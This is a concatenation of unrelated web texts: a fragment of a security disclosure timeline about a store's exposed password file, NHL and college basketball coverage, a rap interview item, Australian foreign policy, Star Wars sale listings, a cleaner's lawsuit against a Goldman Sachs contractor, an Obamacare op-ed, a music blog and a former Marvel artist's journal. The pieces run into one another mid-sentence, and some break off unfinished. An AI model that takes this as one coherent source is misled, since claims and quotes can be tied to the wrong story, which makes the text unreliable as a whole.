password-notice that was taped onto his monitor. Timeline of notable events in password gate September 11, 2015 First observation of the Phone House password gate. Can’t take photo of password file. October 3, 2015 Second observation of the Phone House password gate. Took a photo of password file. October 4, 2015 Report the vulnerability to MediaMarkt and telecom operators. October 6, 2015 MediaMarkt sends threatening (juridical) mail. October 17, 2015 Validate that password gate is not yet closed. October 22, 2015 Have coffee with MediaMarkt store director. October 28, 2015 Have coffee part two: “We patched one store, but we need weeks of more time because of a big patch road trip”. October 30, 2015 Details about the hacked British telecom provider TalkTalk are published. December 8, 2015 This story is published. December 11, 2015 NOS employee posts a picture on Twitter on which you can see his password taped onto his monitor. Sites that link to this storyBOSTON -- Boston Bruins goaltender Tuukka Rask was blunt when asked to assess the season that concluded Saturday because the Ottawa Senators and Pittsburgh Penguins each won their games and eliminated the Bruins from contention for a place in the Stanley Cup Playoffs. Tuukka Rask Goalie - BOS RECORD: 34-21-13 GAA: 2.30 \| SVP:.922 "Well, what's failed, F? Because you know, if you don't make the playoffs, you've failed," Rask said at TD Garden on Monday. "You know, it doesn't matter what happened, if you don't make the playoffs you've failed. I mean, if we were to make the playoffs, who knows what could have happened. So the line there is very thin, and we really felt like we had a group of guys to make a good run in the playoffs. But we failed because we didn't make the playoffs and we'll never find out." The Bruins, who held their breakup day Monday, had good reason to believe they might've had a run in them. Most of the core of the team was part of a Stanley Cup championship in 2011, an Eastern Conference title in 2013 and a Presidents' Trophy win 12 months ago. Boston reached the playoffs seven straight seasons before this one. The Bruins, though, were inconsistent in 2014-15. They had four five-game winning streaks. They also had two stretches of six games without a win. When it mattered most, the Bruins came up short in the last week of the season. Despite squandering most of a seven-point lead they held on Ottawa on March 10, the Bruins still controlled their own destiny with three games to play. But Boston, which had won five in a row, lost on the road to the Washington Capitals and Florida Panthers and relinquished that control to the Senators and Penguins. Looking at the big picture, and not just the late-season swoon, many Bruins players blamed complacency that grew out of their recent run of success. "I think because we've had so much success over the last couple of years maybe we took things for granted too much and I guess got a little too cocky at some points in this season," Bruins forward Milan Lucic said. "And ended it ended up catching up to us." "Hockey's a humbling game for everyone and just when you think you're at the top, it'll knock you down and keep you grounded again," forward Brad Marchand said. "I think that's what happened to this team. We might've thought we were better than we actually are and maybe [thought we were] a little too skilled and we didn't play to the system the right way, and ultimately that's what has allowed us to win the past. So maybe we've got to make sure we get back to that next year and it'll work for us again." The lack of consistency cost the Bruins at both ends of the ice. Their offense ranked in the bottom third of the NHL most of the season and their leading scorer, Patrice Bergeron, had 55 points. At the defensive end, led by Rask, the Bruins were in the top third of the League most of the season. But general manager Peter Chiarelli admitted the scoring chances against were up a tick from past seasons. If the system didn't fail, the players certainly did. "Well, you know I think there's a lot of players that did it well. There's other players that didn't do it as well as others and created those situations," Bruins coach Claude Julien said. "And when those things happen it becomes a confidence issue, right? Do you trust each other out there on doing the right thing? And then I guess the challenge for a coach nowadays is getting the whole team to really play the same way and trust in each other that the right thing is going to be done. And I think there was times, for different reasons, that wasn't happening." Familiarity had bred chemistry and loyalty, with 10 of the Bruins regulars having played on the 2011 Cup championship team and in the 2013 Stanley Cup Final. Now it's unlikely the Bruins will be able to retain so many players from that glorious era. Not only did the Bruins backslide with their current core, they are tight up against the NHL salary-cap ceiling and will have to make difficult decisions about personnel. Already Chiarelli told center Gregory Campbell and left wing Daniel Paille, who are scheduled to be unrestricted free agents this summer, they will not be re-signed. Defensemen Adam McQuaid and Matt Bartkowski and forward Carl Soderberg are also scheduled to be unrestricted free agents. Defenseman Dougie Hamilton will be a restricted free agent due a healthy raise and Lucic is entering the final year of a multiyear contract. Lucic is scheduled to be an unrestricted free agent in summer 2016. Milan Lucic Left Wing - BOS GOALS: 18 \| ASST: 26 \| PTS: 44 SOG: 141 \| +/-: 13 "When you don't make the playoffs, changes usually are made," Lucic said. "As a player, those are the things that are out of your control, and you just hope that a group can stay together as long as it can. But I mean, you trust that the GM and the whole management group are going to do the best they can to put the best team on the ice. As a player, that's all you can really do, is just trust in the management group that they're going to do the best that they can to put the best team on the ice moving forward." Chiarelli and Julien each acknowledged uncertainty about whether they'll be around to make decisions about next season. "The job uncertainty, the questions surrounding us, it's part of the job and you have to deal with it and just move forward," Chiarelli said. "But it hasn't impacted my interviews, my discussions, my meetings with Claude. Business as usual." The Bruins 96 points in the standings were a record for a team that didn't qualify for the postseason. Although that doesn't make up for the early demise of their season, the Bruins can take some solace that they came close to reaching the playoffs. As much as they've tasted success the past seven seasons, they also dealt with defeats in early round and late rounds. The Bruins lost five Game 7s in those seven years. They know how to grow from failure. "We still had 96 points this year. I know we've had ups and downs this whole year and it wasn't great, but in any given year that should get you into the playoffs," Marchand said. "This is the only year it hasn't. I think it's a great squad in here; guys are still going to come back next year. I think that's one of the biggest things that are going to drive guys this year, is that we did let everyone down this year and it's going to drive us through the summer to come back and be better next year. And I think you're going to see a lot of guys come in ready to play and have something to prove, and those are the kind of guys you want on your team."Lupe Fiasco sat down for an interview with "The Hot 97 Morning Show" today and had a few interesting things to say about Kendrick Lamar. After speaking with hosts Ebro, Peter Rosenberg and Laura Styles about his new single "Mission," he gets into a heated debate with Rosenberg about Kendrick Lamar. As one of the many rappers who went at Kendrick after the "Control" verse last year, Lupe accused Rosenberg of being overly partial to Kendrick while going on to say that King Los, Cassidy and Logic are lyrically better than the West Coast rapper. He also spoke on the shift of the musical landscape after the single "Damn" by southern group Youngbloodz dropped, which paved the way for artists like Young Thug (of whom he is a fan of). Lupe's new album Tetsuo & Youth is set to drop later this year. POST CONTINUES BELOW RELATED: Lupe Fiasco Gives Fans an Unexpected Christmas Gift With Leftover Song "Piru Blues" RELATED: Lupe Fiasco and Ed Sheeran Get Nostalgic in "Old School Love" Music Video RELATED: Lupe Fiasco Goes In Over Que's "O.G. Bobby Johnson" on "Thot 97"Australia won't send ground troops to fight Islamic State in Iraq, Foreign Minister Julie Bishop says Updated Foreign Minister Julie Bishop says Australia will not be sending ground troops to fight against Islamic State (IS) militants in Iraq. Ms Bishop has met with Iraqi officials to discuss Australia's role in the US-led coalition against IS militants. Speaking at a news conference alongside her Iraqi counterpart Ibrahim al-Jaafari in Baghdad, she said Australia is working with Iraq to see how best to provide further assistance in the region. "We've not been asked and we've not offered to [send troops to Iraq]. So I do not envisage that being part of our arrangements with Iraq," she said. "We will only provide assistance at the invitation of and with the consent of the Iraqi government." Mr Jafaari reaffirmed Ms Bishop's words and said Iraq considered sending in ground forces as "a red line". Last week, Prime Minister Tony Abbott said Australia's special forces had not yet been able to enter Iraq because the Baghdad government had not provided the necessary legal guarantees. Mr Abbott wants the 200 Australian special operations troops to be offered indemnity from prosecution under Iraqi law, such as that offered to US soldiers. Topics: government-and-politics, world-politics, federal-government, unrest-conflict-and-war, terrorism, islam, iraq, australia First postedand the award for Most Over-Blown College Basketball Story of the Day goes to..... Marcus Smart, and Oklahoma State! Immediately following the buzzer and with a mass of students at their backs, Smart told ESPN's Shannon Spake, "Before the game, the coaches showed us a quote of Bill Self saying he was coming here cutting down our nets, and he was gonna win it outright in Stillwater. We couldn’t let that happen in our house, so I just knew I had to keep pushing until the end." It's not uncommon for coaches to use quotes from opposing players and coaches to help motivate a team, so what the big deal? It appears Coach Self didn't actually say that. "I don’t know where Marcus got his information, but it was totally inaccurate. I’ve never said anything about cutting down nets or anything like that. I never said anything about cutting down nets in their building." Coach Bill Self said to the Lawrence Journal-World. "Strange … we’ve won the league 10 years in a row. I don’t know if we’ve even cut down nets at home. I’d never disrespect another program, especially my alma mater, by doing anything like that. It’s disappointing that was said. Certainly he obviously had some bad information however he received it." That's all it took for at least a few to lose their minds. Add liar to Marcus Smart's resume of bad traits... Self says he didn't talk about cutting down the nets in Stillwater http://t.co/Swh0v48vrW — Rock Chalk Blog (@RockChalkBlog) March 3, 2014 Liar is a little dramatic, and frankly, a rush to judgement. Lying implies Smart intentionally made the whole thing up. He didn't. What really happened is far less sensational. Travis Ford shed some light on the issue on Monday in the Big 12 Coaches Teleconference, "Marcus equated (celebrate) with cutting down nets." Liar is a little dramatic, and frankly, a rush to judgement. There you have it, a simple misunderstanding. Considering the heat of the moment, and the quote in question, it's understandable. From Fox Sports Kansas City, "I told them we'd do (the presentation) if we won it outright," the coach said. "So, we'll hopefully celebrate in Stillwater on Saturday." Self elaborated on the comment via the Journal-World "Sure it would have been nice to have an ‘in-locker room celebration’ had we won the game." Whether or not Bill Self was talking about a locker room celebration or something more, we will never know, but this tweet from ESPN's Holly Rowe sure seems to indicate something was in the works.As already known by most, it is "Black Friday" here in these parts (mostly in the parts south of me, but it's up here in Canada now too). As such, plenty of places come out with various deals at this time. The Fist has already reported on some gaming deals that you should check out, if you don't already own some of those games. The official Star Wars website had links to a number of items that are on sale for Black Friday, including a lot of things from the Disney Store and a discount on a subscription to Star Wars Insider. Apparently HMV Canada sells a X-Wing knife block? Decisions, decisions... Last, but certainly not least, Dark Horse comics are having a big sale on digital comics. There are a variety of bundles for $99 USD covering various properties they have. Included in this are two Star Wars bundles. There is the Star Wars Megabundle, consisting of almost 200 individual issues. Issues are spread out through various series', so you will have a wide assortment to read. The second bundle is Star Wars Omnibus Megabundle. Each Omnibus is a large collection of individual issues of various Star Wars comics based around a specific series. You have a total of 24 of these Omnibuses that total a whopping 8600 pages (the other single-issue bundle clocks in at about 4800 pages). Stories do not seem to overlap in either bundle, so you can choose from either of them depending on what specific stories you enjoy, or just buy both and have enough reading material to last you the year! You can't go wrong with either bundle, but if you want more information or help on which one to choose, just ask away on the comments. Also, there's another shiny bundle I'd recommend, but not SW related. And if you know of any more Star Wars deals this weekend, comment it up!The streets surrounding the Goldman Sachs Building in the Financial District were flooded by Hurricane Sandy. A cleaner at the building claims he was fired in the wake of the storm and forced to wade through the chest-high waters. View Full Caption Instagram/Charlie Walker FINANCIAL DISTRICT — A maintenance firm that services Goldman Sachs' headquarters left a cleaner high and dry in the wake of Hurricane Sandy, firing him after he worked to secure the building from the epic storm and forcing him to walk home to Staten Island through chest-high flooded streets, a new lawsuit charges. Mefit Zecevic, 42, claims after being booted from his job site by a drunken boss, he suffered a bone-chilling 13-hour odyssey to get home, fearfully wading through murky waters in the Financial District and slogging across the Brooklyn Bridge and the Verrazano Bridge. Zecevic is now suing his former employer, ABM Industries Inc., for $10 million, accusing the firm of wrongfully terminating him over allegations he stole $100 from a co-worker and ignoring his pleas for shelter after kicking him out of Goldman's 200 West St. building. "I have been practicing law for over 25 years, and thought I had seen it all in terms of mistreatment from employers," Zecevic's lawyer, William Perniciaro, wrote in a letter to ABM. "However, your company has the dubious distinction of the worst abuse of human dignity that I have ever witnessed." An ABM employee for 11 years, Zecevic reported to work on Oct. 28, the day before Sandy struck the city, and helped stack sandbags along the building and move key equipment to higher floors. For the next two nights, he and his co-workers slept in the building because it was too dangerous
campaign to repeal Obamacare was always based on a false promise (okay, a lie): that it was possible for all Americans to have better, cheaper medical care without raising taxes or reducing the incomes of doctors and the profits of hospitals and drug companies. The reality, as the Senate’s Republican caucus came to understand, is something quite different: You can’t lower health-care costs or extend coverage for some people without raising the taxes or premiums of everyone else. It’s a zero-sum game. Actually, that statement is not exactly true. In a country that spends roughly twice as much as other advanced countries for mediocre results, it would be possible to restructure the system to give most people more for less. But, alas, the Senate bill does almost nothing to restructure the way medical care is delivered, how much is consumed and how it is priced, because to do so would have meant taking on the business interests that the Republicans are counting on to finance their reelection. Instead, what we get is a financial shell game. Take, for example, the centerpiece of the Republican effort, transforming Medicaid from a guarantee of free health insurance for the poor and disabled into a block grant to states to finance health care for whomever they want in whatever ways they see fit. States, which now pay about a third of the cost of the program, have long had the flexibility to propose different ways of covering the poor, and the federal government has approved a variety of such experiments. But the way most states have been found to restrain Medicaid costs is to pay doctors and hospitals less than all other insurers pay. The result is that hospitals charge other insurers and patients higher rates to make up the difference, while the number of doctors who are willing to take Medicaid patients has shrunk. So what will happen if Republicans succeed in turning Medicaid from an open-ended individual entitlement program for the poor into a slowly diminishing block grant to the states? There are three options: States could raise taxes on everyone else to increase their own spending on Medicaid. States could further cut reimbursement to doctors and hospitals and drug companies, resulting in yet even more cost shifting. * States could cut more people from Medicaid coverage, or reduce the range of services covered, which will only send more poor people to hospital emergency rooms for free medical care, resulting in still more cost shifting. In other words, there is no real saving — some portion of the cost of providing free medical care to the poor is merely shifted from all federal taxpayers to state taxpayers, and higher premiums for everyone else. Zero-sum game. Another feature of Republican plan gives states the right to opt out of Affordable Care Act regulations that limit how much more insurance companies can charge older customers, who on average consume a lot more health care, than younger ones who tend to use relatively little. Existing regulations say insurers can charge only three times as much. Senate Republicans would increase that to five times as much. The rationale is that the lower premiums will induce more young people to buy insurance without having to resort to a government mandate, which will have the effect of stabilizing insurance markets. But there is no magic here. In a regulated insurance market, every dollar of reduced premiums for the young will be offset by an increase in premiums for the old. Some will pay it (those will tend to be the ones with chronic illness), but some of the healthier and less affluent ones will decide they cannot afford it and go without insurance. And if they are unlucky and they do get a serious illness, they too will wind up in hospital emergency rooms, where the cost of their care will be shifted to everyone else. Again, the zero-sum game. A third big change will be the form and size of the subsidies provided by the federal government to those working-class families without employer-provided health insurance who buy policies on the Obamacare exchanges. Republicans would replace the current premium subsidies with tax credits, the size of which would be adjusted for income and age but in total will be significantly less than Obamacare’s premium subsidies. So working-class people will pay higher premiums and out-of-pocket costs for health insurance that is less comprehensive — or they will go uninsured — while the people who financed Obamacare through higher taxes will be paying less by about the same amount. And who are these lucky taxpayers? According to an analysis by the nonpartisan Tax Policy Center, around 90 percent of the benefit would go to households with more than $700,000 in annual income — the top 1 percent — who would no longer have to pay a 3.8 percent payroll tax on the income they make from investments in stocks, bonds and real estate and a 0.9 percent payroll surtax on their salaries. The center calculated that works out to an average of $33,000 per household. If you set out to design a regressive piece of public policy — one that literally takes money from the poor and gives it to the rich — it would be difficult to design a policy more regressive than the bills to repeal Obamacare. The Senate’s is only somewhat less effective in this than the one already passed by the House. The inequity, however, is not simply with the distributional impact of repealing these taxes to reduce health insurance subsidies. There is also an aspect of tax fairness. If you are like the vast majority American workers who earn less than $127,200 in annual wages and salaries, you pay a 7.65 percent payroll tax as your contribution to the Social Security and Medicare program. It is taken right out of your paycheck, in that box labeled FICA. But if you are one of the top 10 percent of wage earners who has a higher salary, you don’t pay the payroll tax on whatever is over that cutoff. In addition you pay no tax on income that comes from dividends or capital gains -- profits from buying and selling stocks, bonds, real estate and shares in private equity and hedge funds. This inequity has existed since the payroll tax was introduced. It turns the payroll tax from a flat tax — one in which everyone pays the same share of their income — into a wildly regressive one in a world where most wealthy people have arranged to receive most of their income in the form of dividends and capital gains. Obamacare was financed by partially closing this glaring loophole, and if Obamacare is repealed, it will be because Republicans insist on reopening it. Zero-sum game. To be fair, there were parts of Obamacare meant to reduce the amount of health care consumed and the prices charged for that care, and there have been modest gains in that direction. But primarily Obamacare was a big transfer of wealth from people who are rich, young and healthy to people who are poor, older and sick. Obama tried to soft-pedal that redistributive reality in trying to pass it, just as Republicans are now desperate to cover up that they are doing the same, only in reverse. Here’s one thing I don’t understand, however. I don’t understand why Democrats don’t run TV ads like this one, which is well within the current hash marks for truthfulness in political advertising: Open with black-and-white video of a nurse, a carpenter and a machine operator hard at work as 7.65% flashes on the screen and the announcer declares, “For these hard-working Americans, this is what goes from every paycheck to pay their fair share of Medicare and Social Security …” Then cut to a slick and cocky hedge fund manager getting his shoes shined at the office while doing a derivatives trade on his cellphone, and with 0% flashing on the screen as the announcer picks up, “… while this Wall Street hedge fund manager doesn’t pay a dime.” The ad then cuts to an ordinary voter on the street saying, saying, “I didn’t know that.” And a second one who says, “That couldn’t be right.” And a third who asks quizzically, “What politician would vote for that?” Then switch to still color photo, face shot only, of a smiling Republican congressman as the announcer intones: “Actually, it was your senator, Bob Corker, who voted for that tax plan when he voted to repeal Obamacare and kick millions of poor, sick and disabled Americans off of health insurance. Is that the government you thought you were voting for? Is that the kind of America you want to live in? " If you want to know why Senate Republicans even dared to propose a health-care bill like the one unveiled today, if you want to know why Hillary Clinton lost in November and Jon Ossoff lost in the congressional race in George this week, it is because they couldn’t come up with simple, powerful messages like that. Read more: Now is the time for business leaders to dump Trump, for the good of the country When it comes to corporate tax reform, the GOP may be on to something. Really. The business lobby's hypocritical, one-size-fits-all answer to regulation: No Trump is putting the wolves of Wall Street in charge of America's economyWELCOME TO PSYCH SYNC! What can I get ya? A dose of black bean pysch, via new video?!? Well check out THE BLACK ANGELS new video, “You’re Mine” released today!! Pretty rad, right!?! I give it 4 soft tacos out of 5 But maybe what you are looking for is a summer psychedelic… Something twisted, but something poppy, something thick as maple, but sweet as hickory. Like a piece of neon blue pop-bubblegum-shoegaze-psych. Well lucky for you PART TIME has a new album. This album, entitled “PDA” is soft and lovely. The warm pastel pinks of psych waves wash over you, it’s like good makeout music. Ironically, PDA traditionally stands for Public Display of Affection, which is what this album makes you wanna do. 7 out of 10 black beans on a burrito Also Skylar Grey’s new album is out, not to be confused with Sasha Grey, man that’s a trippy mix-up. For your Mexican Fried ice cream, I present to you, my hot commodity: The Sufi’s, whose new album comes out in August. These kids sound hawt, or what ever you kiddo’s say. I am treasuring this little hidden gem, but soon it will be time for them to release their jam on your face. It’s gonna be gooooood! And apparently they are from Nashville, and I know some good people in Nashville (Sarah, Cameron and Lindsey), and so if I know good people in Nashville, and The Sufi’s are from Nashville, they must be good people. I saw that Burger Records tagged one of their songs as “Psychedelic Baroque Pop” YES PLEASE!!!! 2 out of 3 scoops, in excitement.January 7, 2000 Old Superheroes Never Die, They Join the Real World By HERB TRIMPE Things had started to get shaky two years before. The American comics industry was taking hits from changing tastes in the youth market -- teenage boys had plenty of other entertainment options, mostly electronic -- and Marvel couldn't seem to lure the general population. Never mind that in Japan comic books sell in the millions to all ages. It also didn't help that Ronald Perelman's acquisition binge overextended the company, or that Marvel flooded the market with spinoffs and endless No. 1 issues, devaluing the collections of the faithful. By 1995, a new wave of artists and writers had supplanted the older pros, and my employer was giving me less and less work. I had joined Marvel in 1967, after a year in Vietnam and three years as a student at the School of Visual Arts in Manhattan. Stan Lee, then the editor in chief, hired me as a production assistant. I would draw comics, including the Incredible Hulk and the Fantastic Four, over the next three decades -- the last two from my home studio in Kerhonkson, 120 miles from Manhattan, where I live with my wife, Linda Fite, a writer ("Claws of the Cat") I met at Marvel. I have kept a journal more for therapeutic reasons than anything else. These excerpts recount my journey, from Hulk to seventh-grade art teacher. March 15, 1995: F.F.'s been cut. Fantastic Four Unlimited is the only regular comic I'm drawing. With pages reduced, my work is cut in half. Called Nel, who apologized. He'd try to get me more work to meet the four-page weekly quota, but things don't look good. There've been a bunch of firings. April 1: I'm beginning to hate drawing comics. It becomes harder and harder to compete with the new creative "stars." Experience doesn't seem to matter. May 27: Turned 56 yesterday. Sent in my application today to the State University of New York's Empire State College. The Center for Distance Learning offers credit for life experience and independent study for people like me, who can't attend regular classes. Not sure what I'll major in. Not art. Maybe history. Aug. 10: Accepted at Empire State. A mentor will help design a degree program. Nov. 20: F.F. Unlimited was canceled this week. No warning. Went down to New York yesterday. All the editors either in meetings or out to lunch. Talked to human resources at Marvel today. The lady seemed embarrassed. Said maybe I should consider retiring. I told her I wasn't going to hold the gun to my own head. They'd have to shoot me themselves. With a family, I need the health care benefits and income. Dec. 15: No matter what I say or who I call or write at Marvel, I can't get assigned to another book. I've tried reason, outrage, guilt trips and begging. Nada. I haven't been able to scrounge together enough work to meet my monthly quota. The place is a shambles. When I press, they admit sales are down and so is morale. The scuttlebutt is that more layoffs are coming. Jan. 3, 1996: More firings. About 19 people gone, including Nel. Jan. 8: Worked on my own comic strip, about a minor league baseball team. I'm calling it "Chicken Scratch." It's going very slowly. I guess I'm not that interested. What to do? I'm trying to be convinced that change is good, and I will be guided toward positive ends. The upheaval is great at times, almost unbearable. Jan. 11: Finally talked to my tutor for my first Empire State course, Far Eastern history. He's assigned two texts, and we'll confer once a week. What a long, drawn-out process -- the writing, the paperwork, trying to connect with the tutors for each course. If I didn't have all this time and money invested, I'd quit. Jan. 23: The job thing is a downer, but I'm generally excited and optimistic. Tom DeFalco at Marvel called after dinner to see how I was doing. When he was editor in chief, he kept me working during another slow period when all the new editors were hiring their pet artists. Great chat. He knows some people at King Features. Jan. 26: Rumors, rumors and more rumors. Marie says she's having the same trouble I am -- getting just the odd coloring job, no substantial work at all. The checks keep coming, but this is getting weirder and weirder. It helps to talk to someone in the same boat. Feb. 3: I feel like I'm turning into somebody else. Feb. 7: Freak out in the a.m. -- anxiety, I think. Feel dizzy and panicky, the world closing in. Shaky and sullen the rest of the morning. "Chicken Scratch" seems hopeless. Inked four installments, and it's mediocre. Not at all as I imagined. (What did I imagine?) Feb. 16: Marie called. They have "terminated her contract." The blade swings closer. I'm just waiting for the other shoe to drop -- right on my drawing board. Feb. 18: Wrote again to the editor in chief of Marvel, offering to take on any work. Can't get anyone to answer my calls. March 5: I've decided to go for a B.A. in art. It's the shortest route to a degree. I'm thinking about teaching. March 7: Spring two weeks away. Packaged strip with cover letter to submit to five syndicates. March 14: Got a rejection slip from United Press International in one week! It's hard to see how they even looked at it. Their guidelines said 8 to 12 weeks. One week! Gad! I knew it had to be, so why get bent out of shape? One down, four to go. March 22: Contacted or attempted to contact the art department heads at four schools -- Marist, Bard, Vassar and SUNY, New Paltz. Things slid downhill in the afternoon; got real depressed. Then I got a rejection from King Features. That makes three to go. Saw the comet on the way to Kingston. April 2: Where's Marvel? Linda says call. Marie says no, why bother? Let it ride. My Order of Battle is just about wrapped up -- the list of projects I laid out in November to work on. I don't know exactly what to do. Worked in the yard with Linda in the afternoon. April 29: A bright spot. Got a letter from Tribune Media Services. A submissions editor liked the strip and is going to pass it on. May 1: Lo and behold, got a call from Marvel! A message about a job on X-Factor -- breakdowns. Six months of nothing, and now this -- a one-shot job of loose pencil drawings. The call is upsetting. May 13: Well, the wait is over. Today it came, via Federal Express. I got fired by mail, effective June 8. No warning, no phone call. The letter was delivered with another package I was expecting from Marvel. You couldn't tell what it was by the envelope. A stealth termination. Opened it up. Bang! Gotcha! Ha! I've been waiting a long time, and still they caught me off guard. May 17: Got a package from Marvel today, a pile of termination agreement paperwork. I'm supposed to sign forms swearing that I won't talk trash about Marvel, won't reveal any superheroes' secret identities, won't say anything mean about Stan Lee, won't make a fuss, and other legal mumbo jumbo. If I don't sign, I don't get termination "benefits." May 20: Wrote a letter to Marvel asking for more severance pay. It struck me that I should send it Fed- Ex on their account number. Small thing, but it made me feel good. May 25: Got rejection from Tribune Media. Oh, well, I did have a hope. Think I'll rework the strip and submit it again in a year. The entire comics field is in trouble. But I've got to do something. June 7: Revenge is still in my heart. June 8: Stone Ridge Library Fair. At a booth, selling old comics, the hundreds that Marvel sent me over the years, to help the library fund. Kids would ask, "Are any of these ones you drew?" Signed a few autographs for some middle-age die-hard fans. Ironic, eh, considering the situation. June 9: Final strip rejection yesterday -- from L.A. Times Syndicate. The plan is to go to unemployment tomorrow. June 10: It hits me today about this being the first weekday of no official job. It is the first time since before the Air Force 34 years ago. An interesting sensation. Like hanging over the edge of a cliff. But maybe I can fly. June 11: Went to Kingston to sign up for unemployment. The line was a real mixed bag of humanity. Felt awkward, but the staff was patient and helpful. The thought of going for job interviews depresses me. But the thought of never working again depresses me even more. June 26: Went to a job interview at a company that makes sports memorabilia and other stuff. They want an artist with experience in Quark and Photoshop and all that computer stuff. Hey, I can draw rings around your Adobe Illustrator! They don't know or care. July 17: The session at the N.Y.S. Department of Labor was very stimulating. I'm amazed at how many programs are available. I took a bunch of notes. My head is filled with possibilities. I've been classified as a dislocated worker. There is a possibility of having my education paid for, at least in part, by either the state or the V.A. or both. July 23: I feel pretty positive lately. I like the schooling, just the idea of it. I also enjoy the writing. July 28: Sent out fliers to Extreme, Dark Horse, Malibu, Fantagraphics, Topps, DC and about five other comics companies. Aug. 1: Made four calls for jobs. If I'm to put comics behind me, I need to go through this. I wanted a journey into the unknown, and I've got it. Aug. 11: I can't stop obsessing about going to the Department of Labor. One of the people there wanted to cut my benefits. There's something about dealing with government agencies that makes you feel like a criminal. What am I going to do about work? A freelance thing in Bedford looks like a possibility. I feel flat on everything -- school, running, building models. I weigh 165 and worry about getting heavier. I've been having a lot of disturbing dreams. Sept. 1: Picked up the van at the body shop; old thing made new. Picked up the Underwood at the typewriter shop; another old thing made new. The question is, can an old thing like myself be made new? Sept. 14: I've got the Empire State stuff planned for the year. Computer graphic design, college algebra and a primitive art course this fall. Then Renaissance art, Far Eastern history II and an English lit survey class next semester. That should do it for enough credit hours for the B.A. Like the scarecrow in "The Wizard of Oz," I think I need that piece of paper. At least I'll be accomplishing something this year. Oct. 3: Wrote a letter to the D.O.L. to try to get assistance in taking Empire State classes in Quark Express, Adobe Illustrator and Photoshop, explaining that learning those skills will increase my chances of finding full-time work. Oct. 5: Linda went to New Paltz to see Mose Allison in concert. I just couldn't bring myself to go. I don't feel like being with people. Hate to answer those "How's it going?" questions. Oct. 7: The computer graphics course is going pretty well. The Adobe Illustrator exercises are simple, but the computer aspect of the whole business is so cold. The lines are cold, the tone is cold. And it seems so silly to be drawing with a mouse and software when I can do it faster and better by hand. Dec. 15: I am so grouchy with Linda, criticize her for every little thing. She drives me nuts with her implacable calm and what-me-worry? demeanor. I think she's in denial. Dec. 18: Got next semester's courses lined up, including a couple of study groups in New Paltz. I like being in class, so I'm looking forward to that, even driving across the mountain in January and February. Dec. 28: Marvel is bankrupt. I wonder what Stan thinks. It's a shame what Perelman did to that company. Corporate suits! As Flo always says: "Herb, they just don't care. Don't you get it?" Jan. 29, 1997: Sometimes I just want to walk out of the house and keep going. I feel extraneous. Despite all my interests and enthusiasms, I guess I still buy into that notion of man as breadwinner. I can intellectually deal with not contributing income to the family, but emotionally it's another matter. It gnaws at me. March 1: Talked to an adviser in the art department at SUNY about applying for the master of fine arts program. I was not encouraged. She thought I should take some preliminary painting courses. I don't have the time. March 11: Ron Perelman and Carl Icahn are at each other's throats over Marvel. March 14: Took a bunch of paintings to Kingston to have slides made to submit with my application to SUNY, New Paltz. The head of the department seemed to have a snotty attitude about my commercial art background. May 1: Was not accepted into the M.F.A. program at SUNY. I figured. May 23: Sent in my application to SUNY, New Paltz, for the master of professional studies in humanistic education program, designed for educators and human service professionals. Considers the whole person -- mind, body and spirit. It seems to center on an issue that is not normally found in our institutions, and that is compassion. June 9: We all went to the Empire State graduation ceremony at Rockland Community College. It was really wonderful. The hall was filled with families, including many kids of graduates. The graduates were encouraged to say a few words. Some of their stories of accomplishment were very touching. One guy bounded up to get his diploma and yelled: "Yo! I'm a freakin' miracle!" It was great. June 13: Was accepted into the program in humanistic education. Aug. 25: First day of school. Everybody seemed to know everybody else, except me. Sept. 17: Had to give up my duties as deacon at St. John's Episcopal Church because of the full-time student workload. There's very little time for journal writing. Plus, with a new focus, I don't feel the need as much. March 17, 1998: The amount of reading is monstrous. I'm determined to beat my C-plus/B-minus high school average. May 21: It's cool to have classroom buddies. My teacher friends and professors have encouraged me to consider public education. They think I would have something to offer. July 13: Ha! A judge approves a reorganization plan for Marvel Entertainment Group so it can emerge from bankruptcy protection. Jan. 18, 1999: My student teaching, through Pace University in Pleasantville, starts tomorrow. Half a semester in elementary school, half a semester in high school. I take the National Teachers Examination core battery test on Saturday to get certified. Six hours' worth. I did the practice test this morning, including getting up at 6 and beginning at 7:30, just like the real thing. I did O.K. on two sections, but the professional-knowledge part was iffy. Jan. 19: First day of school, at Truman Moon School in Middletown. I'm student-teaching kindergarten and first grade. Greg, the regular art teacher who will take me under his wing, briefed the kids on the color wheel and how it works. They are extremely cute. Greg handles these kids very well, and they behave with respect. It is important to set guidelines and stick to the rules. I can see a certain face has to be adopted. Jan. 21: I can see myself as I observe, a detached kind of thing, and I wonder what I am doing here. All those years in the rather isolated position of a commercial artist, and now, at 59, this. Jan. 26: Greg is using Picasso's Blue Period to teach the kids about cool colors. I love it when a kid says, "Pablo Picasso!" I got a hug at the end of the day from a kid who said he was going to miss me until the next class. I still haven't gotten names down. Five classes a day, 25 classes a week. That's a lot of kids. Feb. 8: The kids don't listen to me. Well, a few do. The restrictions are tight. Against the wall, hats off, no getting up, noise to a minimum -- teacher as cop. I don't really like it. Feb. 10: I'm beginning to hate this, but I'm not quitting. Teachers in the grad seminar class are very supportive. Many said last night that student teaching was the most miserable experience they'd had. March 2: The lesson on making kites is working well. My Pace evaluator, Jack, came to observe today. It was Mrs. B.'s class, which was the noisiest, rudest, most raucous they've ever been. They did a good job, but I looked pretty bad, which is what I was. Maybe public school is not for me. I don't understand discipline, and man, can these kids jerk you around. Greg says it will come in time. I'm not convinced. March 12: My last day at Truman Moon. I'm not looking back. The kids have been awesome and exhausting. Some didn't understand I was temporary. "Aren't you going to come back?" they asked. Very cute. March 16: First day at Washingtonville High School. The day seems to be without as much pressure as elementary school. I'm jumping right in. Will begin the Chinese art project tomorrow. March 22: A couple of kids already know which buttons to push. March 25: Had fun. Apprehensive as always, but the two new projects in commercial art and printmaking are getting some lift under their wings. Landscapes are coming nicely. Some excellent stuff. How can one day leave you feeling so rotten, and the next, like, "Hey! I can do this!"? March 26: Good news! I passed all three of the core battery sections, scoring higher than the national average. All I need to do is get through student teaching. April 6: The Chronicle of Higher Education has an ad for a job at Savannah College of Art and Design in Georgia -- professor of sequential art. I've got a strong body of published work, and I'm a teacher. It sounds perfect for me. April 15: All goes well. The last two days have been great. Wrapping up the Chinese landscapes. It's amazing how fantastic some of the work is! Better than I could do. May 7: Got a letter from human resources at Savannah. They are "very interested." They want me to go down to visit, maybe teach a workshop. May 15: Went to a teachers' job fair. Left resumes with several school districts looking for art teachers. We'll see what comes of it. Requirements for my master's almost wrapped up. May 18: Last class at SUNY, New Paltz. Grade point average, not counting this class, is 3.96. May 26: Birthday again. Beats the alternative. From 0 to 60. June 3: Flew down to Savannah yesterday. The visit didn't seem to gel. June 4: 